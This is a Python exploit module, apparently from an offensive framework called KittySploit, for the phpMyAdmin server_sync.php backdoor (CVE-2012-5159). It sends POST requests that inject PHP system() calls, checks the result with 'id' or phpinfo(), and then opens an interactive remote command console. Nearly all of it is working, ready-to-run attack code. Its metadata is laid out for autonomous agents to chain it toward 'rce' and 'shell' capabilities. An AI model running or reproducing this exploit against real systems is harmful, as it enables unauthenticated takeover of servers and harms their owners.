phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyAdmin server_sync.php backdoor (CVE-2012-5159) — opens execute session."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159)',
        'description': (
            'Exploits CVE-2012-5159 by POSTing PHP to /server_sync.php. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2012-5159'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2012-5159'],
        'tags': ['phpmyadmin', 'backdoor', 'rce', 'unauth', 'cve-2012-5159'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2012_5159_detect'],
            },
        },
    }

    base_path = OptString('/phpmyadmin', 'phpMyAdmin base path', required=False)

    def execute(self, cmd: str) -> str:
        base = str(self.base_path or '').rstrip('/')
        path = f'{base}/server_sync.php'
        # system() output
        safe = str(cmd).replace("'", "\\'")
        data = f"c=system('{safe}');"
        r = self.http_request(
            method='POST',
            path=path,
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or ('uid=' not in out and 'phpinfo' not in out.lower()):
            # soft check with phpinfo
            base = str(self.base_path or '').rstrip('/')
            r = self.http_request(
                method='POST',
                path=f'{base}/server_sync.php',
                data='c=phpinfo();',
                headers={'Content-Type': 'application/x-www-form-urlencoded'},
                allow_redirects=False,
            )
            if not r or '<title>phpinfo()' not in (r.text or ''):
                print_error('Target does not appear vulnerable to CVE-2012-5159')
                return False
        print_success('phpMyAdmin server_sync.php backdoor confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()